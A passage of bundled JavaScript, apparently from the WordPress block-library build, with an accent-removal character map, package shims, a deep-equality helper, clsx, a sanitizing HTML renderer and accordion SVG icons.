        &quot;\xE5&quot;: &quot;a&quot;,
        &quot;\u1EA5&quot;: &quot;a&quot;,
        &quot;\u1EAF&quot;: &quot;a&quot;,
        &quot;\u1EB3&quot;: &quot;a&quot;,
        &quot;\u1EB5&quot;: &quot;a&quot;,
        &quot;\u1EB7&quot;: &quot;a&quot;,
        &quot;\xE6&quot;: &quot;ae&quot;,
        &quot;\u1EA7&quot;: &quot;a&quot;,
        &quot;\u1EB1&quot;: &quot;a&quot;,
        &quot;\u0203&quot;: &quot;a&quot;,
        &quot;\u1EA3&quot;: &quot;a&quot;,
        &quot;\u1EA1&quot;: &quot;a&quot;,
        &quot;\u1EA9&quot;: &quot;a&quot;,
        &quot;\u1EAB&quot;: &quot;a&quot;,
        &quot;\u1EAD&quot;: &quot;a&quot;,
        &quot;\xE7&quot;: &quot;c&quot;,
        &quot;\u1E09&quot;: &quot;c&quot;,
        &quot;\xE8&quot;: &quot;e&quot;,
        &quot;\xE9&quot;: &quot;e&quot;,
        &quot;\xEA&quot;: &quot;e&quot;,
        &quot;\xEB&quot;: &quot;e&quot;,
        &quot;\u1EBF&quot;: &quot;e&quot;,
        &quot;\u1E17&quot;: &quot;e&quot;,
        &quot;\u1EC1&quot;: &quot;e&quot;,
        &quot;\u1E15&quot;: &quot;e&quot;,
        &quot;\u1E1D&quot;: &quot;e&quot;,
        &quot;\u0207&quot;: &quot;e&quot;,
        &quot;\u1EBB&quot;: &quot;e&quot;,
        &quot;\u1EBD&quot;: &quot;e&quot;,
        &quot;\u1EB9&quot;: &quot;e&quot;,
        &quot;\u1EC3&quot;: &quot;e&quot;,
        &quot;\u1EC5&quot;: &quot;e&quot;,
        &quot;\u1EC7&quot;: &quot;e&quot;,
        &quot;\xEC&quot;: &quot;i&quot;,
        &quot;\xED&quot;: &quot;i&quot;,
        &quot;\xEE&quot;: &quot;i&quot;,
        &quot;\xEF&quot;: &quot;i&quot;,
        &quot;\u1E2F&quot;: &quot;i&quot;,
        &quot;\u020B&quot;: &quot;i&quot;,
        &quot;\u1EC9&quot;: &quot;i&quot;,
        &quot;\u1ECB&quot;: &quot;i&quot;,
        &quot;\xF0&quot;: &quot;d&quot;,
        &quot;\xF1&quot;: &quot;n&quot;,
        &quot;\xF2&quot;: &quot;o&quot;,
        &quot;\xF3&quot;: &quot;o&quot;,
        &quot;\xF4&quot;: &quot;o&quot;,
        &quot;\xF5&quot;: &quot;o&quot;,
        &quot;\xF6&quot;: &quot;o&quot;,
        &quot;\xF8&quot;: &quot;o&quot;,
        &quot;\u1ED1&quot;: &quot;o&quot;,
        &quot;\u1E4D&quot;: &quot;o&quot;,
        &quot;\u1E53&quot;: &quot;o&quot;,
        &quot;\u020F&quot;: &quot;o&quot;,
        &quot;\u1ECF&quot;: &quot;o&quot;,
        &quot;\u1ECD&quot;: &quot;o&quot;,
        &quot;\u1ED5&quot;: &quot;o&quot;,
        &quot;\u1ED7&quot;: &quot;o&quot;,
        &quot;\u1ED9&quot;: &quot;o&quot;,
        &quot;\u1EDD&quot;: &quot;o&quot;,
        &quot;\u1EDF&quot;: &quot;o&quot;,
        &quot;\u1EE1&quot;: &quot;o&quot;,
        &quot;\u1EDB&quot;: &quot;o&quot;,
        &quot;\u1EE3&quot;: &quot;o&quot;,
        &quot;\xF9&quot;: &quot;u&quot;,
        &quot;\xFA&quot;: &quot;u&quot;,
        &quot;\xFB&quot;: &quot;u&quot;,
        &quot;\xFC&quot;: &quot;u&quot;,
        &quot;\u1EE7&quot;: &quot;u&quot;,
        &quot;\u1EE5&quot;: &quot;u&quot;,
        &quot;\u1EED&quot;: &quot;u&quot;,
        &quot;\u1EEF&quot;: &quot;u&quot;,
        &quot;\u1EF1&quot;: &quot;u&quot;,
        &quot;\xFD&quot;: &quot;y&quot;,
        &quot;\xFF&quot;: &quot;y&quot;,
        &quot;\u0100&quot;: &quot;A&quot;,
        &quot;\u0101&quot;: &quot;a&quot;,
        &quot;\u0102&quot;: &quot;A&quot;,
        &quot;\u0103&quot;: &quot;a&quot;,
        &quot;\u0104&quot;: &quot;A&quot;,
        &quot;\u0105&quot;: &quot;a&quot;,
        &quot;\u0106&quot;: &quot;C&quot;,
        &quot;\u0107&quot;: &quot;c&quot;,
        &quot;\u0108&quot;: &quot;C&quot;,
        &quot;\u0109&quot;: &quot;c&quot;,
        &quot;\u010A&quot;: &quot;C&quot;,
        &quot;\u010B&quot;: &quot;c&quot;,
        &quot;\u010C&quot;: &quot;C&quot;,
        &quot;\u010D&quot;: &quot;c&quot;,
        &quot;C\u0306&quot;: &quot;C&quot;,
        &quot;c\u0306&quot;: &quot;c&quot;,
        &quot;\u010E&quot;: &quot;D&quot;,
        &quot;\u010F&quot;: &quot;d&quot;,
        &quot;\u0110&quot;: &quot;D&quot;,
        &quot;\u0111&quot;: &quot;d&quot;,
        &quot;\u0112&quot;: &quot;E&quot;,
        &quot;\u0113&quot;: &quot;e&quot;,
        &quot;\u0114&quot;: &quot;E&quot;,
        &quot;\u0115&quot;: &quot;e&quot;,
        &quot;\u0116&quot;: &quot;E&quot;,
        &quot;\u0117&quot;: &quot;e&quot;,
        &quot;\u0118&quot;: &quot;E&quot;,
        &quot;\u0119&quot;: &quot;e&quot;,
        &quot;\u011A&quot;: &quot;E&quot;,
        &quot;\u011B&quot;: &quot;e&quot;,
        &quot;\u011C&quot;: &quot;G&quot;,
        &quot;\u01F4&quot;: &quot;G&quot;,
        &quot;\u011D&quot;: &quot;g&quot;,
        &quot;\u01F5&quot;: &quot;g&quot;,
        &quot;\u011E&quot;: &quot;G&quot;,
        &quot;\u011F&quot;: &quot;g&quot;,
        &quot;\u0120&quot;: &quot;G&quot;,
        &quot;\u0121&quot;: &quot;g&quot;,
        &quot;\u0122&quot;: &quot;G&quot;,
        &quot;\u0123&quot;: &quot;g&quot;,
        &quot;\u0124&quot;: &quot;H&quot;,
        &quot;\u0125&quot;: &quot;h&quot;,
        &quot;\u0126&quot;: &quot;H&quot;,
        &quot;\u0127&quot;: &quot;h&quot;,
        &quot;\u1E2A&quot;: &quot;H&quot;,
        &quot;\u1E2B&quot;: &quot;h&quot;,
        &quot;\u0128&quot;: &quot;I&quot;,
        &quot;\u0129&quot;: &quot;i&quot;,
        &quot;\u012A&quot;: &quot;I&quot;,
        &quot;\u012B&quot;: &quot;i&quot;,
        &quot;\u012C&quot;: &quot;I&quot;,
        &quot;\u012D&quot;: &quot;i&quot;,
        &quot;\u012E&quot;: &quot;I&quot;,
        &quot;\u012F&quot;: &quot;i&quot;,
        &quot;\u0130&quot;: &quot;I&quot;,
        &quot;\u0131&quot;: &quot;i&quot;,
        &quot;\u0132&quot;: &quot;IJ&quot;,
        &quot;\u0133&quot;: &quot;ij&quot;,
        &quot;\u0134&quot;: &quot;J&quot;,
        &quot;\u0135&quot;: &quot;j&quot;,
        &quot;\u0136&quot;: &quot;K&quot;,
        &quot;\u0137&quot;: &quot;k&quot;,
        &quot;\u1E30&quot;: &quot;K&quot;,
        &quot;\u1E31&quot;: &quot;k&quot;,
        &quot;K\u0306&quot;: &quot;K&quot;,
        &quot;k\u0306&quot;: &quot;k&quot;,
        &quot;\u0139&quot;: &quot;L&quot;,
        &quot;\u013A&quot;: &quot;l&quot;,
        &quot;\u013B&quot;: &quot;L&quot;,
        &quot;\u013C&quot;: &quot;l&quot;,
        &quot;\u013D&quot;: &quot;L&quot;,
        &quot;\u013E&quot;: &quot;l&quot;,
        &quot;\u013F&quot;: &quot;L&quot;,
        &quot;\u0140&quot;: &quot;l&quot;,
        &quot;\u0141&quot;: &quot;l&quot;,
        &quot;\u0142&quot;: &quot;l&quot;,
        &quot;\u1E3E&quot;: &quot;M&quot;,
        &quot;\u1E3F&quot;: &quot;m&quot;,
        &quot;M\u0306&quot;: &quot;M&quot;,
        &quot;m\u0306&quot;: &quot;m&quot;,
        &quot;\u0143&quot;: &quot;N&quot;,
        &quot;\u0144&quot;: &quot;n&quot;,
        &quot;\u0145&quot;: &quot;N&quot;,
        &quot;\u0146&quot;: &quot;n&quot;,
        &quot;\u0147&quot;: &quot;N&quot;,
        &quot;\u0148&quot;: &quot;n&quot;,
        &quot;\u0149&quot;: &quot;n&quot;,
        &quot;N\u0306&quot;: &quot;N&quot;,
        &quot;n\u0306&quot;: &quot;n&quot;,
        &quot;\u014C&quot;: &quot;O&quot;,
        &quot;\u014D&quot;: &quot;o&quot;,
        &quot;\u014E&quot;: &quot;O&quot;,
        &quot;\u014F&quot;: &quot;o&quot;,
        &quot;\u0150&quot;: &quot;O&quot;,
        &quot;\u0151&quot;: &quot;o&quot;,
        &quot;\u0152&quot;: &quot;OE&quot;,
        &quot;\u0153&quot;: &quot;oe&quot;,
        &quot;P\u0306&quot;: &quot;P&quot;,
        &quot;p\u0306&quot;: &quot;p&quot;,
        &quot;\u0154&quot;: &quot;R&quot;,
        &quot;\u0155&quot;: &quot;r&quot;,
        &quot;\u0156&quot;: &quot;R&quot;,
        &quot;\u0157&quot;: &quot;r&quot;,
        &quot;\u0158&quot;: &quot;R&quot;,
        &quot;\u0159&quot;: &quot;r&quot;,
        &quot;R\u0306&quot;: &quot;R&quot;,
        &quot;r\u0306&quot;: &quot;r&quot;,
        &quot;\u0212&quot;: &quot;R&quot;,
        &quot;\u0213&quot;: &quot;r&quot;,
        &quot;\u015A&quot;: &quot;S&quot;,
        &quot;\u015B&quot;: &quot;s&quot;,
        &quot;\u015C&quot;: &quot;S&quot;,
        &quot;\u015D&quot;: &quot;s&quot;,
        &quot;\u015E&quot;: &quot;S&quot;,
        &quot;\u0218&quot;: &quot;S&quot;,
        &quot;\u0219&quot;: &quot;s&quot;,
        &quot;\u015F&quot;: &quot;s&quot;,
        &quot;\u0160&quot;: &quot;S&quot;,
        &quot;\u0161&quot;: &quot;s&quot;,
        &quot;\u0162&quot;: &quot;T&quot;,
        &quot;\u0163&quot;: &quot;t&quot;,
        &quot;\u021B&quot;: &quot;t&quot;,
        &quot;\u021A&quot;: &quot;T&quot;,
        &quot;\u0164&quot;: &quot;T&quot;,
        &quot;\u0165&quot;: &quot;t&quot;,
        &quot;\u0166&quot;: &quot;T&quot;,
        &quot;\u0167&quot;: &quot;t&quot;,
        &quot;T\u0306&quot;: &quot;T&quot;,
        &quot;t\u0306&quot;: &quot;t&quot;,
        &quot;\u0168&quot;: &quot;U&quot;,
        &quot;\u0169&quot;: &quot;u&quot;,
        &quot;\u016A&quot;: &quot;U&quot;,
        &quot;\u016B&quot;: &quot;u&quot;,
        &quot;\u016C&quot;: &quot;U&quot;,
        &quot;\u016D&quot;: &quot;u&quot;,
        &quot;\u016E&quot;: &quot;U&quot;,
        &quot;\u016F&quot;: &quot;u&quot;,
        &quot;\u0170&quot;: &quot;U&quot;,
        &quot;\u0171&quot;: &quot;u&quot;,
        &quot;\u0172&quot;: &quot;U&quot;,
        &quot;\u0173&quot;: &quot;u&quot;,
        &quot;\u0216&quot;: &quot;U&quot;,
        &quot;\u0217&quot;: &quot;u&quot;,
        &quot;V\u0306&quot;: &quot;V&quot;,
        &quot;v\u0306&quot;: &quot;v&quot;,
        &quot;\u0174&quot;: &quot;W&quot;,
        &quot;\u0175&quot;: &quot;w&quot;,
        &quot;\u1E82&quot;: &quot;W&quot;,
        &quot;\u1E83&quot;: &quot;w&quot;,
        &quot;X\u0306&quot;: &quot;X&quot;,
        &quot;x\u0306&quot;: &quot;x&quot;,
        &quot;\u0176&quot;: &quot;Y&quot;,
        &quot;\u0177&quot;: &quot;y&quot;,
        &quot;\u0178&quot;: &quot;Y&quot;,
        &quot;Y\u0306&quot;: &quot;Y&quot;,
        &quot;y\u0306&quot;: &quot;y&quot;,
        &quot;\u0179&quot;: &quot;Z&quot;,
        &quot;\u017A&quot;: &quot;z&quot;,
        &quot;\u017B&quot;: &quot;Z&quot;,
        &quot;\u017C&quot;: &quot;z&quot;,
        &quot;\u017D&quot;: &quot;Z&quot;,
        &quot;\u017E&quot;: &quot;z&quot;,
        &quot;\u017F&quot;: &quot;s&quot;,
        &quot;\u0192&quot;: &quot;f&quot;,
        &quot;\u01A0&quot;: &quot;O&quot;,
        &quot;\u01A1&quot;: &quot;o&quot;,
        &quot;\u01AF&quot;: &quot;U&quot;,
        &quot;\u01B0&quot;: &quot;u&quot;,
        &quot;\u01CD&quot;: &quot;A&quot;,
        &quot;\u01CE&quot;: &quot;a&quot;,
        &quot;\u01CF&quot;: &quot;I&quot;,
        &quot;\u01D0&quot;: &quot;i&quot;,
        &quot;\u01D1&quot;: &quot;O&quot;,
        &quot;\u01D2&quot;: &quot;o&quot;,
        &quot;\u01D3&quot;: &quot;U&quot;,
        &quot;\u01D4&quot;: &quot;u&quot;,
        &quot;\u01D5&quot;: &quot;U&quot;,
        &quot;\u01D6&quot;: &quot;u&quot;,
        &quot;\u01D7&quot;: &quot;U&quot;,
        &quot;\u01D8&quot;: &quot;u&quot;,
        &quot;\u01D9&quot;: &quot;U&quot;,
        &quot;\u01DA&quot;: &quot;u&quot;,
        &quot;\u01DB&quot;: &quot;U&quot;,
        &quot;\u01DC&quot;: &quot;u&quot;,
        &quot;\u1EE8&quot;: &quot;U&quot;,
        &quot;\u1EE9&quot;: &quot;u&quot;,
        &quot;\u1E78&quot;: &quot;U&quot;,
        &quot;\u1E79&quot;: &quot;u&quot;,
        &quot;\u01FA&quot;: &quot;A&quot;,
        &quot;\u01FB&quot;: &quot;a&quot;,
        &quot;\u01FC&quot;: &quot;AE&quot;,
        &quot;\u01FD&quot;: &quot;ae&quot;,
        &quot;\u01FE&quot;: &quot;O&quot;,
        &quot;\u01FF&quot;: &quot;o&quot;,
        &quot;\xDE&quot;: &quot;TH&quot;,
        &quot;\xFE&quot;: &quot;th&quot;,
        &quot;\u1E54&quot;: &quot;P&quot;,
        &quot;\u1E55&quot;: &quot;p&quot;,
        &quot;\u1E64&quot;: &quot;S&quot;,
        &quot;\u1E65&quot;: &quot;s&quot;,
        &quot;X\u0301&quot;: &quot;X&quot;,
        &quot;x\u0301&quot;: &quot;x&quot;,
        &quot;\u0403&quot;: &quot;\u0413&quot;,
        &quot;\u0453&quot;: &quot;\u0433&quot;,
        &quot;\u040C&quot;: &quot;\u041A&quot;,
        &quot;\u045C&quot;: &quot;\u043A&quot;,
        &quot;A\u030B&quot;: &quot;A&quot;,
        &quot;a\u030B&quot;: &quot;a&quot;,
        &quot;E\u030B&quot;: &quot;E&quot;,
        &quot;e\u030B&quot;: &quot;e&quot;,
        &quot;I\u030B&quot;: &quot;I&quot;,
        &quot;i\u030B&quot;: &quot;i&quot;,
        &quot;\u01F8&quot;: &quot;N&quot;,
        &quot;\u01F9&quot;: &quot;n&quot;,
        &quot;\u1ED2&quot;: &quot;O&quot;,
        &quot;\u1ED3&quot;: &quot;o&quot;,
        &quot;\u1E50&quot;: &quot;O&quot;,
        &quot;\u1E51&quot;: &quot;o&quot;,
        &quot;\u1EEA&quot;: &quot;U&quot;,
        &quot;\u1EEB&quot;: &quot;u&quot;,
        &quot;\u1E80&quot;: &quot;W&quot;,
        &quot;\u1E81&quot;: &quot;w&quot;,
        &quot;\u1EF2&quot;: &quot;Y&quot;,
        &quot;\u1EF3&quot;: &quot;y&quot;,
        &quot;\u0200&quot;: &quot;A&quot;,
        &quot;\u0201&quot;: &quot;a&quot;,
        &quot;\u0204&quot;: &quot;E&quot;,
        &quot;\u0205&quot;: &quot;e&quot;,
        &quot;\u0208&quot;: &quot;I&quot;,
        &quot;\u0209&quot;: &quot;i&quot;,
        &quot;\u020C&quot;: &quot;O&quot;,
        &quot;\u020D&quot;: &quot;o&quot;,
        &quot;\u0210&quot;: &quot;R&quot;,
        &quot;\u0211&quot;: &quot;r&quot;,
        &quot;\u0214&quot;: &quot;U&quot;,
        &quot;\u0215&quot;: &quot;u&quot;,
        &quot;B\u030C&quot;: &quot;B&quot;,
        &quot;b\u030C&quot;: &quot;b&quot;,
        &quot;\u010C\u0323&quot;: &quot;C&quot;,
        &quot;\u010D\u0323&quot;: &quot;c&quot;,
        &quot;\xCA\u030C&quot;: &quot;E&quot;,
        &quot;\xEA\u030C&quot;: &quot;e&quot;,
        &quot;F\u030C&quot;: &quot;F&quot;,
        &quot;f\u030C&quot;: &quot;f&quot;,
        &quot;\u01E6&quot;: &quot;G&quot;,
        &quot;\u01E7&quot;: &quot;g&quot;,
        &quot;\u021E&quot;: &quot;H&quot;,
        &quot;\u021F&quot;: &quot;h&quot;,
        &quot;J\u030C&quot;: &quot;J&quot;,
        &quot;\u01F0&quot;: &quot;j&quot;,
        &quot;\u01E8&quot;: &quot;K&quot;,
        &quot;\u01E9&quot;: &quot;k&quot;,
        &quot;M\u030C&quot;: &quot;M&quot;,
        &quot;m\u030C&quot;: &quot;m&quot;,
        &quot;P\u030C&quot;: &quot;P&quot;,
        &quot;p\u030C&quot;: &quot;p&quot;,
        &quot;Q\u030C&quot;: &quot;Q&quot;,
        &quot;q\u030C&quot;: &quot;q&quot;,
        &quot;\u0158\u0329&quot;: &quot;R&quot;,
        &quot;\u0159\u0329&quot;: &quot;r&quot;,
        &quot;\u1E66&quot;: &quot;S&quot;,
        &quot;\u1E67&quot;: &quot;s&quot;,
        &quot;V\u030C&quot;: &quot;V&quot;,
        &quot;v\u030C&quot;: &quot;v&quot;,
        &quot;W\u030C&quot;: &quot;W&quot;,
        &quot;w\u030C&quot;: &quot;w&quot;,
        &quot;X\u030C&quot;: &quot;X&quot;,
        &quot;x\u030C&quot;: &quot;x&quot;,
        &quot;Y\u030C&quot;: &quot;Y&quot;,
        &quot;y\u030C&quot;: &quot;y&quot;,
        &quot;A\u0327&quot;: &quot;A&quot;,
        &quot;a\u0327&quot;: &quot;a&quot;,
        &quot;B\u0327&quot;: &quot;B&quot;,
        &quot;b\u0327&quot;: &quot;b&quot;,
        &quot;\u1E10&quot;: &quot;D&quot;,
        &quot;\u1E11&quot;: &quot;d&quot;,
        &quot;\u0228&quot;: &quot;E&quot;,
        &quot;\u0229&quot;: &quot;e&quot;,
        &quot;\u0190\u0327&quot;: &quot;E&quot;,
        &quot;\u025B\u0327&quot;: &quot;e&quot;,
        &quot;\u1E28&quot;: &quot;H&quot;,
        &quot;\u1E29&quot;: &quot;h&quot;,
        &quot;I\u0327&quot;: &quot;I&quot;,
        &quot;i\u0327&quot;: &quot;i&quot;,
        &quot;\u0197\u0327&quot;: &quot;I&quot;,
        &quot;\u0268\u0327&quot;: &quot;i&quot;,
        &quot;M\u0327&quot;: &quot;M&quot;,
        &quot;m\u0327&quot;: &quot;m&quot;,
        &quot;O\u0327&quot;: &quot;O&quot;,
        &quot;o\u0327&quot;: &quot;o&quot;,
        &quot;Q\u0327&quot;: &quot;Q&quot;,
        &quot;q\u0327&quot;: &quot;q&quot;,
        &quot;U\u0327&quot;: &quot;U&quot;,
        &quot;u\u0327&quot;: &quot;u&quot;,
        &quot;X\u0327&quot;: &quot;X&quot;,
        &quot;x\u0327&quot;: &quot;x&quot;,
        &quot;Z\u0327&quot;: &quot;Z&quot;,
        &quot;z\u0327&quot;: &quot;z&quot;,
        &quot;\u0439&quot;: &quot;\u0438&quot;,
        &quot;\u0419&quot;: &quot;\u0418&quot;,
        &quot;\u0451&quot;: &quot;\u0435&quot;,
        &quot;\u0401&quot;: &quot;\u0415&quot;
      };
      var chars = Object.keys(characterMap).join(&quot;|&quot;);
      var allAccents = new RegExp(chars, &quot;g&quot;);
      var firstAccent = new RegExp(chars, &quot;&quot;);
      function matcher(match) {
        return characterMap[match];
      }
      var removeAccents5 = function(string) {
        return string.replace(allAccents, matcher);
      };
      var hasAccents = function(string) {
        return !!string.match(firstAccent);
      };
      module.exports = removeAccents5;
      module.exports.has = hasAccents;
      module.exports.remove = removeAccents5;
    }
  });

  // package-external:@wordpress/upload-media
  var require_upload_media = __commonJS({
    &quot;package-external:@wordpress/upload-media&quot;(exports, module) {
      module.exports = window.wp.uploadMedia;
    }
  });

  // package-external:@wordpress/a11y
  var require_a11y = __commonJS({
    &quot;package-external:@wordpress/a11y&quot;(exports, module) {
      module.exports = window.wp.a11y;
    }
  });

  // package-external:@wordpress/escape-html
  var require_escape_html = __commonJS({
    &quot;package-external:@wordpress/escape-html&quot;(exports, module) {
      module.exports = window.wp.escapeHtml;
    }
  });

  // package-external:@wordpress/wordcount
  var require_wordcount = __commonJS({
    &quot;package-external:@wordpress/wordcount&quot;(exports, module) {
      module.exports = window.wp.wordcount;
    }
  });

  // package-external:@wordpress/patterns
  var require_patterns = __commonJS({
    &quot;package-external:@wordpress/patterns&quot;(exports, module) {
      module.exports = window.wp.patterns;
    }
  });

  // package-external:@wordpress/autop
  var require_autop = __commonJS({
    &quot;package-external:@wordpress/autop&quot;(exports, module) {
      module.exports = window.wp.autop;
    }
  });

  // node_modules/fast-deep-equal/es6/index.js
  var require_es6 = __commonJS({
    &quot;node_modules/fast-deep-equal/es6/index.js&quot;(exports, module) {
      &quot;use strict&quot;;
      module.exports = function equal(a2, b2) {
        if (a2 === b2) return true;
        if (a2 &amp;&amp; b2 &amp;&amp; typeof a2 == &quot;object&quot; &amp;&amp; typeof b2 == &quot;object&quot;) {
          if (a2.constructor !== b2.constructor) return false;
          var length, i2, keys;
          if (Array.isArray(a2)) {
            length = a2.length;
            if (length != b2.length) return false;
            for (i2 = length; i2-- !== 0; )
              if (!equal(a2[i2], b2[i2])) return false;
            return true;
          }
          if (a2 instanceof Map &amp;&amp; b2 instanceof Map) {
            if (a2.size !== b2.size) return false;
            for (i2 of a2.entries())
              if (!b2.has(i2[0])) return false;
            for (i2 of a2.entries())
              if (!equal(i2[1], b2.get(i2[0]))) return false;
            return true;
          }
          if (a2 instanceof Set &amp;&amp; b2 instanceof Set) {
            if (a2.size !== b2.size) return false;
            for (i2 of a2.entries())
              if (!b2.has(i2[0])) return false;
            return true;
          }
          if (ArrayBuffer.isView(a2) &amp;&amp; ArrayBuffer.isView(b2)) {
            length = a2.length;
            if (length != b2.length) return false;
            for (i2 = length; i2-- !== 0; )
              if (a2[i2] !== b2[i2]) return false;
            return true;
          }
          if (a2.constructor === RegExp) return a2.source === b2.source &amp;&amp; a2.flags === b2.flags;
          if (a2.valueOf !== Object.prototype.valueOf) return a2.valueOf() === b2.valueOf();
          if (a2.toString !== Object.prototype.toString) return a2.toString() === b2.toString();
          keys = Object.keys(a2);
          length = keys.length;
          if (length !== Object.keys(b2).length) return false;
          for (i2 = length; i2-- !== 0; )
            if (!Object.prototype.hasOwnProperty.call(b2, keys[i2])) return false;
          for (i2 = length; i2-- !== 0; ) {
            var key = keys[i2];
            if (!equal(a2[key], b2[key])) return false;
          }
          return true;
        }
        return a2 !== a2 &amp;&amp; b2 !== b2;
      };
    }
  });

  // package-external:@wordpress/keyboard-shortcuts
  var require_keyboard_shortcuts = __commonJS({
    &quot;package-external:@wordpress/keyboard-shortcuts&quot;(exports, module) {
      module.exports = window.wp.keyboardShortcuts;
    }
  });

  // packages/block-library/build-module/index.mjs
  var index_exports = {};
  __export(index_exports, {
    __experimentalGetCoreBlocks: () =&gt; __experimentalGetCoreBlocks,
    __experimentalRegisterExperimentalCoreBlocks: () =&gt; __experimentalRegisterExperimentalCoreBlocks,
    privateApis: () =&gt; privateApis3,
    registerCoreBlocks: () =&gt; registerCoreBlocks
  });
  var import_blocks129 = __toESM(require_blocks(), 1);
  var import_compose61 = __toESM(require_compose(), 1);
  var import_data170 = __toESM(require_data(), 1);
  var import_block_editor296 = __toESM(require_block_editor(), 1);
  var import_server_side_render7 = __toESM(require_server_side_render(), 1);
  var import_i18n274 = __toESM(require_i18n(), 1);

  // node_modules/clsx/dist/clsx.mjs
  function r(e2) {
    var t2, f2, n2 = &quot;&quot;;
    if (&quot;string&quot; == typeof e2 || &quot;number&quot; == typeof e2) n2 += e2;
    else if (&quot;object&quot; == typeof e2) if (Array.isArray(e2)) {
      var o2 = e2.length;
      for (t2 = 0; t2 &lt; o2; t2++) e2[t2] &amp;&amp; (f2 = r(e2[t2])) &amp;&amp; (n2 &amp;&amp; (n2 += &quot; &quot;), n2 += f2);
    } else for (f2 in e2) e2[f2] &amp;&amp; (n2 &amp;&amp; (n2 += &quot; &quot;), n2 += f2);
    return n2;
  }
  function clsx() {
    for (var e2, t2, f2 = 0, n2 = &quot;&quot;, o2 = arguments.length; f2 &lt; o2; f2++) (e2 = arguments[f2]) &amp;&amp; (t2 = r(e2)) &amp;&amp; (n2 &amp;&amp; (n2 += &quot; &quot;), n2 += t2);
    return n2;
  }
  var clsx_default = clsx;

  // node_modules/html-react-parser/esm/index.mjs
  var import_lib = __toESM(require_lib6(), 1);
  var import_lib2 = __toESM(require_lib6(), 1);
  var esm_default = import_lib.default.default || import_lib.default;

  // packages/block-library/build-module/utils/html-renderer.mjs
  var import_dom = __toESM(require_dom(), 1);
  var import_jsx_runtime = __toESM(require_jsx_runtime(), 1);
  var HtmlRenderer = ({ wrapperProps = {}, html = &quot;&quot; }) =&gt; {
    const options2 = {
      replace: ({ name: name123, type, attribs, parent, children }) =&gt; {
        if (type === &quot;tag&quot; &amp;&amp; name123) {
          const parsedProps = (0, import_lib2.attributesToProps)(attribs || {});
          const TagName2 = name123;
          if (!parent) {
            const mergedProps = {
              ...parsedProps,
              ...wrapperProps,
              className: clsx_default(
                parsedProps.className,
                wrapperProps.className
              ),
              style: {
                ...parsedProps.style || {},
                ...wrapperProps.style || {}
              }
            };
            return /* @__PURE__ */ (0, import_jsx_runtime.jsx)(TagName2, { ...mergedProps, children: (0, import_lib2.domToReact)(children, options2) });
          }
        }
      }
    };
    const sanitizedContent = (0, import_dom.safeHTML)(html);
    const parsedContent = esm_default(sanitizedContent, options2);
    return parsedContent;
  };
  var html_renderer_default = HtmlRenderer;

  // packages/block-library/build-module/accordion/index.mjs
  var accordion_exports = {};
  __export(accordion_exports, {
    init: () =&gt; init,
    metadata: () =&gt; block_default,
    name: () =&gt; name,
    settings: () =&gt; settings
  });
  var import_i18n2 = __toESM(require_i18n(), 1);

  // packages/icons/build-module/icon/index.mjs
  var import_element = __toESM(require_element(), 1);
  var icon_default = (0, import_element.forwardRef)(
    ({ icon: icon4, size = 24, ...props }, ref) =&gt; {
      return (0, import_element.cloneElement)(icon4, {
        width: size,
        height: size,
        ...props,
        ref
      });
    }
  );

  // packages/icons/build-module/library/accordion-heading.mjs
  var import_primitives = __toESM(require_primitives(), 1);
  var import_jsx_runtime2 = __toESM(require_jsx_runtime(), 1);
  var accordion_heading_default = /* @__PURE__ */ (0, import_jsx_runtime2.jsxs)(import_primitives.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: [
    /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_primitives.Path, { fillRule: &quot;evenodd&quot;, clipRule: &quot;evenodd&quot;, d: &quot;M19.5 12.75L9.5 12.75L9.5 11.25L19.5 11.25L19.5 12.75Z&quot; }),
    /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_primitives.Path, { d: &quot;M4.5 9.5L8.5 12L4.5 14.5L4.5 9.5Z&quot; })
  ] });

  // packages/icons/build-module/library/accordion-item.mjs
  var import_primitives2 = __toESM(require_primitives(), 1);
  var import_jsx_runtime3 = __toESM(require_jsx_runtime(), 1);
  var accordion_item_default = /* @__PURE__ */ (0, import_jsx_runtime3.jsxs)(import_primitives2.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: [
    /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_primitives2.Path, { fillRule: &quot;evenodd&quot;, clipRule: &quot;evenodd&quot;, d: &quot;M19.5 9.5L9.5 9.5L9.5 8L19.5 8L19.5 9.5Z&quot; }),
    /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_primitives2.Path, { fillRule: &quot;evenodd&quot;, clipRule: &quot;evenodd&quot;, d: &quot;M19.5 13L9.5 13L9.5 11.5L19.5 11.5L19.5 13Z&quot; }),
    /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_primitives2.Path, { fillRule: &quot;evenodd&quot;, clipRule: &quot;evenodd&quot;, d: &quot;M19.5 16.3999L9.5 16.3999L9.5 14.8999L19.5 14.8999L19.5 16.3999Z&quot; }),
    /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_primitives2.Path, { d: &quot;M4.5 6.25L8.5 8.75L4.5 11.25L4.5 6.25Z&quot; })
  ] });

  // packages/icons/build-module/library/accordion.mjs
  var import_primitives3 = __toESM(require_primitives(), 1);
  var import_jsx_runtime4 = __toESM(require_jsx_runtime(), 1);
  var accordion_default = /* @__PURE__ */ (0, import_jsx_runtime4.jsxs)(import_primitives3.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: [
    /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_primitives3.Path, { fillRule: &quot;evenodd&quot;, clipRule: &quot;evenodd&quot;, d: &quot;M19.5 9.25L9.5 9.25L9.5 7.75L19.5 7.75L19.5 9.25Z&quot; }),
    /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_primitives3.Path, { d: &quot;M4.5 6L8.5 8.5L4.5 11L4.5 6Z&quot; }),
    /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_primitives3.Path, { fillRule: &quot;evenodd&quot;, clipRule: &quot;evenodd&quot;, d: &quot;M19.5 16.25L9.5 16.25L9.5 14.75L19.5 14.75L19.5 16.25Z&quot; }),
    /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_primitives3.Path, { d: &quot;M4.5 13L8.5 15.5L4.5 18L4.5 13Z&quot; })
  ] });

  // packages/icons/build-module/library/add-submenu.mjs
  var import_primitives4 = __toESM(require_primitives(), 1);
